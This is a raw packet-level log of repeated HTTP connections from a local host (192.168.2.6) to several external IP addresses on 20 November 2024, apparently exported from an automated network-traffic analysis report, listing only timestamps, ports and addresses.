Nov 20, 2024 08:33:12.645240068 CET	50008	80	192.168.2.6	188.114.96.3
Nov 20, 2024 08:33:12.650243044 CET	80	50008	188.114.96.3	192.168.2.6
Nov 20, 2024 08:33:12.655476093 CET	50008	80	192.168.2.6	188.114.96.3
Nov 20, 2024 08:33:12.709978104 CET	50008	80	192.168.2.6	188.114.96.3
Nov 20, 2024 08:33:12.714859962 CET	80	50008	188.114.96.3	192.168.2.6
Nov 20, 2024 08:33:13.288774014 CET	80	50008	188.114.96.3	192.168.2.6
Nov 20, 2024 08:33:13.288794994 CET	80	50008	188.114.96.3	192.168.2.6
Nov 20, 2024 08:33:13.289060116 CET	50008	80	192.168.2.6	188.114.96.3
Nov 20, 2024 08:33:13.289203882 CET	80	50008	188.114.96.3	192.168.2.6
Nov 20, 2024 08:33:13.291235924 CET	50008	80	192.168.2.6	188.114.96.3
Nov 20, 2024 08:33:14.217969894 CET	50008	80	192.168.2.6	188.114.96.3
Nov 20, 2024 08:33:15.236330986 CET	50009	80	192.168.2.6	188.114.96.3
Nov 20, 2024 08:33:15.241600990 CET	80	50009	188.114.96.3	192.168.2.6
Nov 20, 2024 08:33:15.242099047 CET	50009	80	192.168.2.6	188.114.96.3
Nov 20, 2024 08:33:15.255605936 CET	50009	80	192.168.2.6	188.114.96.3
Nov 20, 2024 08:33:15.260504961 CET	80	50009	188.114.96.3	192.168.2.6
Nov 20, 2024 08:33:15.886771917 CET	80	50009	188.114.96.3	192.168.2.6
Nov 20, 2024 08:33:15.886794090 CET	80	50009	188.114.96.3	192.168.2.6
Nov 20, 2024 08:33:15.886843920 CET	50009	80	192.168.2.6	188.114.96.3
Nov 20, 2024 08:33:15.887309074 CET	80	50009	188.114.96.3	192.168.2.6
Nov 20, 2024 08:33:15.887413979 CET	50009	80	192.168.2.6	188.114.96.3
Nov 20, 2024 08:33:16.767235994 CET	50009	80	192.168.2.6	188.114.96.3
Nov 20, 2024 08:33:17.784415007 CET	50010	80	192.168.2.6	188.114.96.3
Nov 20, 2024 08:33:17.789374113 CET	80	50010	188.114.96.3	192.168.2.6
Nov 20, 2024 08:33:17.789458036 CET	50010	80	192.168.2.6	188.114.96.3
Nov 20, 2024 08:33:17.809768915 CET	50010	80	192.168.2.6	188.114.96.3
Nov 20, 2024 08:33:17.814615011 CET	80	50010	188.114.96.3	192.168.2.6
Nov 20, 2024 08:33:17.814749002 CET	80	50010	188.114.96.3	192.168.2.6
Nov 20, 2024 08:33:18.423091888 CET	80	50010	188.114.96.3	192.168.2.6
Nov 20, 2024 08:33:18.423111916 CET	80	50010	188.114.96.3	192.168.2.6
Nov 20, 2024 08:33:18.423233032 CET	50010	80	192.168.2.6	188.114.96.3
Nov 20, 2024 08:33:18.423799038 CET	80	50010	188.114.96.3	192.168.2.6
Nov 20, 2024 08:33:18.423851013 CET	50010	80	192.168.2.6	188.114.96.3
Nov 20, 2024 08:33:19.311789989 CET	50010	80	192.168.2.6	188.114.96.3
Nov 20, 2024 08:33:20.332817078 CET	50011	80	192.168.2.6	188.114.96.3
Nov 20, 2024 08:33:20.337894917 CET	80	50011	188.114.96.3	192.168.2.6
Nov 20, 2024 08:33:20.337960005 CET	50011	80	192.168.2.6	188.114.96.3
Nov 20, 2024 08:33:20.356177092 CET	50011	80	192.168.2.6	188.114.96.3
Nov 20, 2024 08:33:20.361890078 CET	80	50011	188.114.96.3	192.168.2.6
Nov 20, 2024 08:33:20.999013901 CET	80	50011	188.114.96.3	192.168.2.6
Nov 20, 2024 08:33:20.999037027 CET	80	50011	188.114.96.3	192.168.2.6
Nov 20, 2024 08:33:20.999224901 CET	80	50011	188.114.96.3	192.168.2.6
Nov 20, 2024 08:33:20.999361038 CET	50011	80	192.168.2.6	188.114.96.3
Nov 20, 2024 08:33:20.999361038 CET	50011	80	192.168.2.6	188.114.96.3
Nov 20, 2024 08:33:21.002505064 CET	50011	80	192.168.2.6	188.114.96.3
Nov 20, 2024 08:33:21.007785082 CET	80	50011	188.114.96.3	192.168.2.6
Nov 20, 2024 08:33:26.050879002 CET	50014	80	192.168.2.6	66.29.137.10
Nov 20, 2024 08:33:26.055845022 CET	80	50014	66.29.137.10	192.168.2.6
Nov 20, 2024 08:33:26.055919886 CET	50014	80	192.168.2.6	66.29.137.10
Nov 20, 2024 08:33:26.071649075 CET	50014	80	192.168.2.6	66.29.137.10
Nov 20, 2024 08:33:26.076606035 CET	80	50014	66.29.137.10	192.168.2.6
Nov 20, 2024 08:33:26.642684937 CET	80	50014	66.29.137.10	192.168.2.6
Nov 20, 2024 08:33:26.642726898 CET	80	50014	66.29.137.10	192.168.2.6
Nov 20, 2024 08:33:26.642762899 CET	80	50014	66.29.137.10	192.168.2.6
Nov 20, 2024 08:33:26.642780066 CET	50014	80	192.168.2.6	66.29.137.10
Nov 20, 2024 08:33:26.642796040 CET	80	50014	66.29.137.10	192.168.2.6
Nov 20, 2024 08:33:26.642832994 CET	80	50014	66.29.137.10	192.168.2.6
Nov 20, 2024 08:33:26.642837048 CET	50014	80	192.168.2.6	66.29.137.10
Nov 20, 2024 08:33:26.642863989 CET	80	50014	66.29.137.10	192.168.2.6
Nov 20, 2024 08:33:26.642896891 CET	80	50014	66.29.137.10	192.168.2.6
Nov 20, 2024 08:33:26.642904997 CET	50014	80	192.168.2.6	66.29.137.10
Nov 20, 2024 08:33:26.642939091 CET	50014	80	192.168.2.6	66.29.137.10
Nov 20, 2024 08:33:27.577434063 CET	50014	80	192.168.2.6	66.29.137.10
Nov 20, 2024 08:33:28.596124887 CET	50015	80	192.168.2.6	66.29.137.10
Nov 20, 2024 08:33:28.601242065 CET	80	50015	66.29.137.10	192.168.2.6
Nov 20, 2024 08:33:28.601330042 CET	50015	80	192.168.2.6	66.29.137.10
Nov 20, 2024 08:33:28.617840052 CET	50015	80	192.168.2.6	66.29.137.10
Nov 20, 2024 08:33:28.622740030 CET	80	50015	66.29.137.10	192.168.2.6
Nov 20, 2024 08:33:29.217259884 CET	80	50015	66.29.137.10	192.168.2.6
Nov 20, 2024 08:33:29.217322111 CET	80	50015	66.29.137.10	192.168.2.6
Nov 20, 2024 08:33:29.217359066 CET	80	50015	66.29.137.10	192.168.2.6
Nov 20, 2024 08:33:29.217391968 CET	80	50015	66.29.137.10	192.168.2.6
Nov 20, 2024 08:33:29.217437029 CET	50015	80	192.168.2.6	66.29.137.10
Nov 20, 2024 08:33:29.217482090 CET	80	50015	66.29.137.10	192.168.2.6
Nov 20, 2024 08:33:29.217505932 CET	50015	80	192.168.2.6	66.29.137.10
Nov 20, 2024 08:33:29.217539072 CET	80	50015	66.29.137.10	192.168.2.6
Nov 20, 2024 08:33:29.217632055 CET	50015	80	192.168.2.6	66.29.137.10
Nov 20, 2024 08:33:30.124214888 CET	50015	80	192.168.2.6	66.29.137.10
Nov 20, 2024 08:33:31.145993948 CET	50016	80	192.168.2.6	66.29.137.10
Nov 20, 2024 08:33:31.151110888 CET	80	50016	66.29.137.10	192.168.2.6
Nov 20, 2024 08:33:31.151259899 CET	50016	80	192.168.2.6	66.29.137.10
Nov 20, 2024 08:33:31.169580936 CET	50016	80	192.168.2.6	66.29.137.10
Nov 20, 2024 08:33:31.174590111 CET	80	50016	66.29.137.10	192.168.2.6
Nov 20, 2024 08:33:31.174649954 CET	80	50016	66.29.137.10	192.168.2.6
Nov 20, 2024 08:33:31.752266884 CET	80	50016	66.29.137.10	192.168.2.6
Nov 20, 2024 08:33:31.752319098 CET	80	50016	66.29.137.10	192.168.2.6
Nov 20, 2024 08:33:31.752335072 CET	80	50016	66.29.137.10	192.168.2.6
Nov 20, 2024 08:33:31.752351046 CET	80	50016	66.29.137.10	192.168.2.6
Nov 20, 2024 08:33:31.752383947 CET	50016	80	192.168.2.6	66.29.137.10
Nov 20, 2024 08:33:31.752383947 CET	50016	80	192.168.2.6	66.29.137.10
Nov 20, 2024 08:33:31.752413034 CET	80	50016	66.29.137.10	192.168.2.6
Nov 20, 2024 08:33:31.752496004 CET	80	50016	66.29.137.10	192.168.2.6
Nov 20, 2024 08:33:31.752538919 CET	50016	80	192.168.2.6	66.29.137.10
Nov 20, 2024 08:33:32.671402931 CET	50016	80	192.168.2.6	66.29.137.10
Nov 20, 2024 08:33:33.691829920 CET	50017	80	192.168.2.6	66.29.137.10
Nov 20, 2024 08:33:33.696944952 CET	80	50017	66.29.137.10	192.168.2.6
Nov 20, 2024 08:33:33.697050095 CET	50017	80	192.168.2.6	66.29.137.10
Nov 20, 2024 08:33:33.711628914 CET	50017	80	192.168.2.6	66.29.137.10
Nov 20, 2024 08:33:33.716520071 CET	80	50017	66.29.137.10	192.168.2.6
Nov 20, 2024 08:33:34.314476013 CET	80	50017	66.29.137.10	192.168.2.6
Nov 20, 2024 08:33:34.314532995 CET	80	50017	66.29.137.10	192.168.2.6
Nov 20, 2024 08:33:34.314567089 CET	80	50017	66.29.137.10	192.168.2.6
Nov 20, 2024 08:33:34.314598083 CET	80	50017	66.29.137.10	192.168.2.6
Nov 20, 2024 08:33:34.314630985 CET	80	50017	66.29.137.10	192.168.2.6
Nov 20, 2024 08:33:34.314661980 CET	80	50017	66.29.137.10	192.168.2.6
Nov 20, 2024 08:33:34.314683914 CET	50017	80	192.168.2.6	66.29.137.10
Nov 20, 2024 08:33:34.314698935 CET	80	50017	66.29.137.10	192.168.2.6
Nov 20, 2024 08:33:34.314790010 CET	80	50017	66.29.137.10	192.168.2.6
Nov 20, 2024 08:33:34.314805031 CET	50017	80	192.168.2.6	66.29.137.10
Nov 20, 2024 08:33:34.314826012 CET	80	50017	66.29.137.10	192.168.2.6
Nov 20, 2024 08:33:34.314862013 CET	50017	80	192.168.2.6	66.29.137.10
Nov 20, 2024 08:33:34.314863920 CET	80	50017	66.29.137.10	192.168.2.6
Nov 20, 2024 08:33:34.314918041 CET	50017	80	192.168.2.6	66.29.137.10
Nov 20, 2024 08:33:34.318608046 CET	50017	80	192.168.2.6	66.29.137.10
Nov 20, 2024 08:33:34.323486090 CET	80	50017	66.29.137.10	192.168.2.6
Nov 20, 2024 08:33:39.373475075 CET	50018	80	192.168.2.6	203.161.46.205
Nov 20, 2024 08:33:39.378602982 CET	80	50018	203.161.46.205	192.168.2.6
Nov 20, 2024 08:33:39.379334927 CET	50018	80	192.168.2.6	203.161.46.205
Nov 20, 2024 08:33:39.395322084 CET	50018	80	192.168.2.6	203.161.46.205
Nov 20, 2024 08:33:39.400341988 CET	80	50018	203.161.46.205	192.168.2.6
Nov 20, 2024 08:33:39.962527037 CET	80	50018	203.161.46.205	192.168.2.6
Nov 20, 2024 08:33:39.962563992 CET	80	50018	203.161.46.205	192.168.2.6
Nov 20, 2024 08:33:39.962591887 CET	80	50018	203.161.46.205	192.168.2.6
Nov 20, 2024 08:33:39.962605000 CET	50018	80	192.168.2.6	203.161.46.205
Nov 20, 2024 08:33:39.962606907 CET	80	50018	203.161.46.205	192.168.2.6
Nov 20, 2024 08:33:39.962624073 CET	80	50018	203.161.46.205	192.168.2.6
Nov 20, 2024 08:33:39.962639093 CET	80	50018	203.161.46.205	192.168.2.6
Nov 20, 2024 08:33:39.962650061 CET	50018	80	192.168.2.6	203.161.46.205
Nov 20, 2024 08:33:39.962657928 CET	80	50018	203.161.46.205	192.168.2.6
Nov 20, 2024 08:33:39.962678909 CET	50018	80	192.168.2.6	203.161.46.205
Nov 20, 2024 08:33:39.962768078 CET	80	50018	203.161.46.205	192.168.2.6
Nov 20, 2024 08:33:39.962812901 CET	50018	80	192.168.2.6	203.161.46.205
Nov 20, 2024 08:33:39.962836027 CET	80	50018	203.161.46.205	192.168.2.6
Nov 20, 2024 08:33:39.962872028 CET	80	50018	203.161.46.205	192.168.2.6
Nov 20, 2024 08:33:39.962913990 CET	50018	80	192.168.2.6	203.161.46.205
Nov 20, 2024 08:33:39.967689991 CET	80	50018	203.161.46.205	192.168.2.6
Nov 20, 2024 08:33:39.967736959 CET	80	50018	203.161.46.205	192.168.2.6
Nov 20, 2024 08:33:39.967753887 CET	80	50018	203.161.46.205	192.168.2.6
Nov 20, 2024 08:33:39.967778921 CET	50018	80	192.168.2.6	203.161.46.205
Nov 20, 2024 08:33:40.011928082 CET	50018	80	192.168.2.6	203.161.46.205
Nov 20, 2024 08:33:40.049293041 CET	80	50018	203.161.46.205	192.168.2.6
Nov 20, 2024 08:33:40.049344063 CET	80	50018	203.161.46.205	192.168.2.6
Nov 20, 2024 08:33:40.049384117 CET	80	50018	203.161.46.205	192.168.2.6
Nov 20, 2024 08:33:40.049417019 CET	50018	80	192.168.2.6	203.161.46.205
Nov 20, 2024 08:33:40.049437046 CET	50018	80	192.168.2.6	203.161.46.205
Nov 20, 2024 08:33:40.905544996 CET	50018	80	192.168.2.6	203.161.46.205
Nov 20, 2024 08:33:41.924920082 CET	50019	80	192.168.2.6	203.161.46.205
Nov 20, 2024 08:33:41.929980040 CET	80	50019	203.161.46.205	192.168.2.6
Nov 20, 2024 08:33:41.930052996 CET	50019	80	192.168.2.6	203.161.46.205
Nov 20, 2024 08:33:41.948102951 CET	50019	80	192.168.2.6	203.161.46.205
Nov 20, 2024 08:33:41.953058004 CET	80	50019	203.161.46.205	192.168.2.6
Nov 20, 2024 08:33:42.565973043 CET	80	50019	203.161.46.205	192.168.2.6
Nov 20, 2024 08:33:42.566024065 CET	80	50019	203.161.46.205	192.168.2.6
Nov 20, 2024 08:33:42.566077948 CET	50019	80	192.168.2.6	203.161.46.205
Nov 20, 2024 08:33:42.566082954 CET	80	50019	203.161.46.205	192.168.2.6
Nov 20, 2024 08:33:42.566119909 CET	80	50019	203.161.46.205	192.168.2.6
Nov 20, 2024 08:33:42.566153049 CET	80	50019	203.161.46.205	192.168.2.6
Nov 20, 2024 08:33:42.566160917 CET	50019	80	192.168.2.6	203.161.46.205
Nov 20, 2024 08:33:42.566186905 CET	80	50019	203.161.46.205	192.168.2.6
Nov 20, 2024 08:33:42.566220999 CET	80	50019	203.161.46.205	192.168.2.6
Nov 20, 2024 08:33:42.566230059 CET	50019	80	192.168.2.6	203.161.46.205
Nov 20, 2024 08:33:42.566277027 CET	80	50019	203.161.46.205	192.168.2.6
Nov 20, 2024 08:33:42.566308975 CET	80	50019	203.161.46.205	192.168.2.6
Nov 20, 2024 08:33:42.566318989 CET	50019	80	192.168.2.6	203.161.46.205
Nov 20, 2024 08:33:42.566399097 CET	80	50019	203.161.46.205	192.168.2.6
Nov 20, 2024 08:33:42.566438913 CET	80	50019	203.161.46.205	192.168.2.6
Nov 20, 2024 08:33:42.566443920 CET	50019	80	192.168.2.6	203.161.46.205
Nov 20, 2024 08:33:42.571346998 CET	80	50019	203.161.46.205	192.168.2.6
Nov 20, 2024 08:33:42.571389914 CET	50019	80	192.168.2.6	203.161.46.205
Nov 20, 2024 08:33:42.571460962 CET	80	50019	203.161.46.205	192.168.2.6
Nov 20, 2024 08:33:42.571500063 CET	80	50019	203.161.46.205	192.168.2.6
Nov 20, 2024 08:33:42.571603060 CET	50019	80	192.168.2.6	203.161.46.205
Nov 20, 2024 08:33:42.622968912 CET	80	50019	203.161.46.205	192.168.2.6
Nov 20, 2024 08:33:42.623018026 CET	80	50019	203.161.46.205	192.168.2.6
Nov 20, 2024 08:33:42.623059034 CET	80	50019	203.161.46.205	192.168.2.6
Nov 20, 2024 08:33:42.623073101 CET	50019	80	192.168.2.6	203.161.46.205
Nov 20, 2024 08:33:42.623125076 CET	50019	80	192.168.2.6	203.161.46.205
Nov 20, 2024 08:33:43.452579021 CET	50019	80	192.168.2.6	203.161.46.205
Nov 20, 2024 08:33:44.472934008 CET	50020	80	192.168.2.6	203.161.46.205
Nov 20, 2024 08:33:44.478015900 CET	80	50020	203.161.46.205	192.168.2.6
Nov 20, 2024 08:33:44.478100061 CET	50020	80	192.168.2.6	203.161.46.205
Nov 20, 2024 08:33:44.501368046 CET	50020	80	192.168.2.6	203.161.46.205
Nov 20, 2024 08:33:44.506663084 CET	80	50020	203.161.46.205	192.168.2.6
Nov 20, 2024 08:33:44.507306099 CET	80	50020	203.161.46.205	192.168.2.6
Nov 20, 2024 08:33:45.061866999 CET	80	50020	203.161.46.205	192.168.2.6
Nov 20, 2024 08:33:45.061909914 CET	80	50020	203.161.46.205	192.168.2.6
Nov 20, 2024 08:33:45.061964989 CET	80	50020	203.161.46.205	192.168.2.6
Nov 20, 2024 08:33:45.062011003 CET	80	50020	203.161.46.205	192.168.2.6
Nov 20, 2024 08:33:45.062014103 CET	50020	80	192.168.2.6	203.161.46.205
Nov 20, 2024 08:33:45.062043905 CET	80	50020	203.161.46.205	192.168.2.6
Nov 20, 2024 08:33:45.062077999 CET	80	50020	203.161.46.205	192.168.2.6
Nov 20, 2024 08:33:45.062093019 CET	50020	80	192.168.2.6	203.161.46.205
Nov 20, 2024 08:33:45.062149048 CET	80	50020	203.161.46.205	192.168.2.6
Nov 20, 2024 08:33:45.062184095 CET	80	50020	203.161.46.205	192.168.2.6
Nov 20, 2024 08:33:45.062206030 CET	50020	80	192.168.2.6	203.161.46.205
Nov 20, 2024 08:33:45.062217951 CET	80	50020	203.161.46.205	192.168.2.6
Nov 20, 2024 08:33:45.062251091 CET	50020	80	192.168.2.6	203.161.46.205
Nov 20, 2024 08:33:45.062401056 CET	80	50020	203.161.46.205	192.168.2.6
Nov 20, 2024 08:33:45.062683105 CET	50020	80	192.168.2.6	203.161.46.205
Nov 20, 2024 08:33:45.067126989 CET	80	50020	203.161.46.205	192.168.2.6
Nov 20, 2024 08:33:45.067207098 CET	80	50020	203.161.46.205	192.168.2.6
Nov 20, 2024 08:33:45.067241907 CET	80	50020	203.161.46.205	192.168.2.6
Nov 20, 2024 08:33:45.067291021 CET	80	50020	203.161.46.205	192.168.2.6
Nov 20, 2024 08:33:45.067287922 CET	50020	80	192.168.2.6	203.161.46.205
Nov 20, 2024 08:33:45.067476988 CET	50020	80	192.168.2.6	203.161.46.205
Nov 20, 2024 08:33:45.148891926 CET	80	50020	203.161.46.205	192.168.2.6
Nov 20, 2024 08:33:45.148947954 CET	80	50020	203.161.46.205	192.168.2.6
Nov 20, 2024 08:33:45.148983955 CET	80	50020	203.161.46.205	192.168.2.6
Nov 20, 2024 08:33:45.149082899 CET	50020	80	192.168.2.6	203.161.46.205
Nov 20, 2024 08:33:45.149082899 CET	50020	80	192.168.2.6	203.161.46.205
Nov 20, 2024 08:33:46.038028955 CET	50020	80	192.168.2.6	203.161.46.205
Nov 20, 2024 08:33:47.049268007 CET	50021	80	192.168.2.6	203.161.46.205
Nov 20, 2024 08:33:47.054405928 CET	80	50021	203.161.46.205	192.168.2.6
Nov 20, 2024 08:33:47.054534912 CET	50021	80	192.168.2.6	203.161.46.205
Nov 20, 2024 08:33:47.063721895 CET	50021	80	192.168.2.6	203.161.46.205
Nov 20, 2024 08:33:47.068639994 CET	80	50021	203.161.46.205	192.168.2.6
Nov 20, 2024 08:33:47.637972116 CET	80	50021	203.161.46.205	192.168.2.6
Nov 20, 2024 08:33:47.637990952 CET	80	50021	203.161.46.205	192.168.2.6
Nov 20, 2024 08:33:47.638000965 CET	80	50021	203.161.46.205	192.168.2.6
Nov 20, 2024 08:33:47.638020992 CET	80	50021	203.161.46.205	192.168.2.6
Nov 20, 2024 08:33:47.638031960 CET	80	50021	203.161.46.205	192.168.2.6
Nov 20, 2024 08:33:47.638123035 CET	80	50021	203.161.46.205	192.168.2.6
Nov 20, 2024 08:33:47.638147116 CET	50021	80	192.168.2.6	203.161.46.205
Nov 20, 2024 08:33:47.638195038 CET	80	50021	203.161.46.205	192.168.2.6
Nov 20, 2024 08:33:47.638215065 CET	50021	80	192.168.2.6	203.161.46.205
Nov 20, 2024 08:33:47.638235092 CET	80	50021	203.161.46.205	192.168.2.6
Nov 20, 2024 08:33:47.638246059 CET	80	50021	203.161.46.205	192.168.2.6
Nov 20, 2024 08:33:47.638315916 CET	80	50021	203.161.46.205	192.168.2.6
Nov 20, 2024 08:33:47.638340950 CET	50021	80	192.168.2.6	203.161.46.205
Nov 20, 2024 08:33:47.638477087 CET	50021	80	192.168.2.6	203.161.46.205
Nov 20, 2024 08:33:47.643045902 CET	80	50021	203.161.46.205	192.168.2.6
Nov 20, 2024 08:33:47.643088102 CET	80	50021	203.161.46.205	192.168.2.6
Nov 20, 2024 08:33:47.643099070 CET	80	50021	203.161.46.205	192.168.2.6
Nov 20, 2024 08:33:47.643201113 CET	80	50021	203.161.46.205	192.168.2.6
Nov 20, 2024 08:33:47.643222094 CET	50021	80	192.168.2.6	203.161.46.205
Nov 20, 2024 08:33:47.646379948 CET	50021	80	192.168.2.6	203.161.46.205
Nov 20, 2024 08:33:47.724703074 CET	80	50021	203.161.46.205	192.168.2.6
Nov 20, 2024 08:33:47.724715948 CET	80	50021	203.161.46.205	192.168.2.6
Nov 20, 2024 08:33:47.724726915 CET	80	50021	203.161.46.205	192.168.2.6
Nov 20, 2024 08:33:47.724872112 CET	50021	80	192.168.2.6	203.161.46.205
Nov 20, 2024 08:33:47.728060961 CET	50021	80	192.168.2.6	203.161.46.205
Nov 20, 2024 08:33:47.732964993 CET	80	50021	203.161.46.205	192.168.2.6
Nov 20, 2024 08:33:53.835887909 CET	50022	80	192.168.2.6	43.155.76.124
Nov 20, 2024 08:33:53.840821981 CET	80	50022	43.155.76.124	192.168.2.6
Nov 20, 2024 08:33:53.840919018 CET	50022	80	192.168.2.6	43.155.76.124
Nov 20, 2024 08:33:53.857135057 CET	50022	80	192.168.2.6	43.155.76.124
Nov 20, 2024 08:33:53.862019062 CET	80	50022	43.155.76.124	192.168.2.6
Nov 20, 2024 08:33:54.729610920 CET	80	50022	43.155.76.124	192.168.2.6
Nov 20, 2024 08:33:54.729873896 CET	80	50022	43.155.76.124	192.168.2.6
Nov 20, 2024 08:33:54.735361099 CET	50022	80	192.168.2.6	43.155.76.124
Nov 20, 2024 08:33:55.359285116 CET	50022	80	192.168.2.6	43.155.76.124
Nov 20, 2024 08:33:56.377084017 CET	50023	80	192.168.2.6	43.155.76.124
Nov 20, 2024 08:33:56.382258892 CET	80	50023	43.155.76.124	192.168.2.6
Nov 20, 2024 08:33:56.382359028 CET	50023	80	192.168.2.6	43.155.76.124
Nov 20, 2024 08:33:56.402523994 CET	50023	80	192.168.2.6	43.155.76.124
Nov 20, 2024 08:33:56.407475948 CET	80	50023	43.155.76.124	192.168.2.6
Nov 20, 2024 08:33:57.270441055 CET	80	50023	43.155.76.124	192.168.2.6
Nov 20, 2024 08:33:57.270477057 CET	80	50023	43.155.76.124	192.168.2.6
Nov 20, 2024 08:33:57.273456097 CET	50023	80	192.168.2.6	43.155.76.124
Nov 20, 2024 08:33:57.905668974 CET	50023	80	192.168.2.6	43.155.76.124
Nov 20, 2024 08:33:58.924757004 CET	50025	80	192.168.2.6	43.155.76.124
Nov 20, 2024 08:33:58.929796934 CET	80	50025	43.155.76.124	192.168.2.6
Nov 20, 2024 08:33:58.930423975 CET	50025	80	192.168.2.6	43.155.76.124
Nov 20, 2024 08:33:58.945770025 CET	50025	80	192.168.2.6	43.155.76.124
Nov 20, 2024 08:33:58.950727940 CET	80	50025	43.155.76.124	192.168.2.6
Nov 20, 2024 08:33:58.950790882 CET	80	50025	43.155.76.124	192.168.2.6
Nov 20, 2024 08:33:59.818623066 CET	80	50025	43.155.76.124	192.168.2.6
Nov 20, 2024 08:33:59.818676949 CET	80	50025	43.155.76.124	192.168.2.6
Nov 20, 2024 08:33:59.818741083 CET	50025	80	192.168.2.6	43.155.76.124
Nov 20, 2024 08:34:00.452409029 CET	50025	80	192.168.2.6	43.155.76.124
Nov 20, 2024 08:34:01.470998049 CET	50026	80	192.168.2.6	43.155.76.124
Nov 20, 2024 08:34:01.476167917 CET	80	50026	43.155.76.124	192.168.2.6
Nov 20, 2024 08:34:01.476300955 CET	50026	80	192.168.2.6	43.155.76.124
Nov 20, 2024 08:34:01.485373974 CET	50026	80	192.168.2.6	43.155.76.124
Nov 20, 2024 08:34:01.490386963 CET	80	50026	43.155.76.124	192.168.2.6
Nov 20, 2024 08:34:02.362343073 CET	80	50026	43.155.76.124	192.168.2.6
Nov 20, 2024 08:34:02.362405062 CET	80	50026	43.155.76.124	192.168.2.6
Nov 20, 2024 08:34:02.362520933 CET	50026	80	192.168.2.6	43.155.76.124
Nov 20, 2024 08:34:02.365196943 CET	50026	80	192.168.2.6	43.155.76.124
Nov 20, 2024 08:34:02.370049953 CET	80	50026	43.155.76.124	192.168.2.6
Nov 20, 2024 08:34:07.699291945 CET	50027	80	192.168.2.6	103.224.182.242
Nov 20, 2024 08:34:07.704334974 CET	80	50027	103.224.182.242	192.168.2.6
Nov 20, 2024 08:34:07.704575062 CET	50027	80	192.168.2.6	103.224.182.242
Nov 20, 2024 08:34:07.718615055 CET	50027	80	192.168.2.6	103.224.182.242
Nov 20, 2024 08:34:07.723602057 CET	80	50027	103.224.182.242	192.168.2.6
Nov 20, 2024 08:34:08.318742990 CET	80	50027	103.224.182.242	192.168.2.6
Nov 20, 2024 08:34:08.318764925 CET	80	50027	103.224.182.242	192.168.2.6
Nov 20, 2024 08:34:08.318850040 CET	50027	80	192.168.2.6	103.224.182.242
Nov 20, 2024 08:34:09.237731934 CET	50027	80	192.168.2.6	103.224.182.242
Nov 20, 2024 08:34:10.265521049 CET	50028	80	192.168.2.6	103.224.182.242
Nov 20, 2024 08:34:10.270762920 CET	80	50028	103.224.182.242	192.168.2.6
Nov 20, 2024 08:34:10.270863056 CET	50028	80	192.168.2.6	103.224.182.242
Nov 20, 2024 08:34:10.327864885 CET	50028	80	192.168.2.6	103.224.182.242
Nov 20, 2024 08:34:10.333784103 CET	80	50028	103.224.182.242	192.168.2.6
Nov 20, 2024 08:34:10.867294073 CET	80	50028	103.224.182.242	192.168.2.6
Nov 20, 2024 08:34:10.867333889 CET	80	50028	103.224.182.242	192.168.2.6
Nov 20, 2024 08:34:10.867578030 CET	50028	80	192.168.2.6	103.224.182.242
Nov 20, 2024 08:34:11.843204021 CET	50028	80	192.168.2.6	103.224.182.242
Nov 20, 2024 08:34:12.883373022 CET	50029	80	192.168.2.6	103.224.182.242
Nov 20, 2024 08:34:12.888386011 CET	80	50029	103.224.182.242	192.168.2.6
Nov 20, 2024 08:34:12.895359039 CET	50029	80	192.168.2.6	103.224.182.242
Nov 20, 2024 08:34:12.974217892 CET	50029	80	192.168.2.6	103.224.182.242
Nov 20, 2024 08:34:12.981096029 CET	80	50029	103.224.182.242	192.168.2.6
Nov 20, 2024 08:34:12.981232882 CET	80	50029	103.224.182.242	192.168.2.6
Nov 20, 2024 08:34:13.497000933 CET	80	50029	103.224.182.242	192.168.2.6
Nov 20, 2024 08:34:13.497258902 CET	80	50029	103.224.182.242	192.168.2.6
Nov 20, 2024 08:34:13.497498035 CET	50029	80	192.168.2.6	103.224.182.242
Nov 20, 2024 08:34:14.483707905 CET	50029	80	192.168.2.6	103.224.182.242
Nov 20, 2024 08:34:15.502130985 CET	50030	80	192.168.2.6	103.224.182.242
Nov 20, 2024 08:34:15.507204056 CET	80	50030	103.224.182.242	192.168.2.6
Nov 20, 2024 08:34:15.507317066 CET	50030	80	192.168.2.6	103.224.182.242
Nov 20, 2024 08:34:15.515158892 CET	50030	80	192.168.2.6	103.224.182.242
Nov 20, 2024 08:34:15.520925045 CET	80	50030	103.224.182.242	192.168.2.6
Nov 20, 2024 08:34:16.117191076 CET	80	50030	103.224.182.242	192.168.2.6
Nov 20, 2024 08:34:16.117252111 CET	80	50030	103.224.182.242	192.168.2.6
Nov 20, 2024 08:34:16.117292881 CET	80	50030	103.224.182.242	192.168.2.6
Nov 20, 2024 08:34:16.117357016 CET	50030	80	192.168.2.6	103.224.182.242
Nov 20, 2024 08:34:16.117434025 CET	50030	80	192.168.2.6	103.224.182.242
Nov 20, 2024 08:34:16.120456934 CET	50030	80	192.168.2.6	103.224.182.242
Nov 20, 2024 08:34:16.125334978 CET	80	50030	103.224.182.242	192.168.2.6
Nov 20, 2024 08:34:21.152332067 CET	50031	80	192.168.2.6	13.248.169.48
Nov 20, 2024 08:34:21.157260895 CET	80	50031	13.248.169.48	192.168.2.6
Nov 20, 2024 08:34:21.157596111 CET	50031	80	192.168.2.6	13.248.169.48
Nov 20, 2024 08:34:21.170445919 CET	50031	80	192.168.2.6	13.248.169.48
Nov 20, 2024 08:34:21.175338984 CET	80	50031	13.248.169.48	192.168.2.6
Nov 20, 2024 08:34:21.628746033 CET	80	50031	13.248.169.48	192.168.2.6
Nov 20, 2024 08:34:21.628823996 CET	50031	80	192.168.2.6	13.248.169.48
Nov 20, 2024 08:34:22.690650940 CET	50031	80	192.168.2.6	13.248.169.48
Nov 20, 2024 08:34:22.695611954 CET	80	50031	13.248.169.48	192.168.2.6
Nov 20, 2024 08:34:23.707329988 CET	50032	80	192.168.2.6	13.248.169.48
Nov 20, 2024 08:34:23.712619066 CET	80	50032	13.248.169.48	192.168.2.6
Nov 20, 2024 08:34:23.712747097 CET	50032	80	192.168.2.6	13.248.169.48
Nov 20, 2024 08:34:23.727310896 CET	50032	80	192.168.2.6	13.248.169.48
Nov 20, 2024 08:34:23.732351065 CET	80	50032	13.248.169.48	192.168.2.6
Nov 20, 2024 08:34:24.170502901 CET	80	50032	13.248.169.48	192.168.2.6
Nov 20, 2024 08:34:24.170562029 CET	50032	80	192.168.2.6	13.248.169.48
Nov 20, 2024 08:34:25.235325098 CET	50032	80	192.168.2.6	13.248.169.48
Nov 20, 2024 08:34:25.240416050 CET	80	50032	13.248.169.48	192.168.2.6
Nov 20, 2024 08:34:26.252783060 CET	50033	80	192.168.2.6	13.248.169.48
Nov 20, 2024 08:34:26.257862091 CET	80	50033	13.248.169.48	192.168.2.6
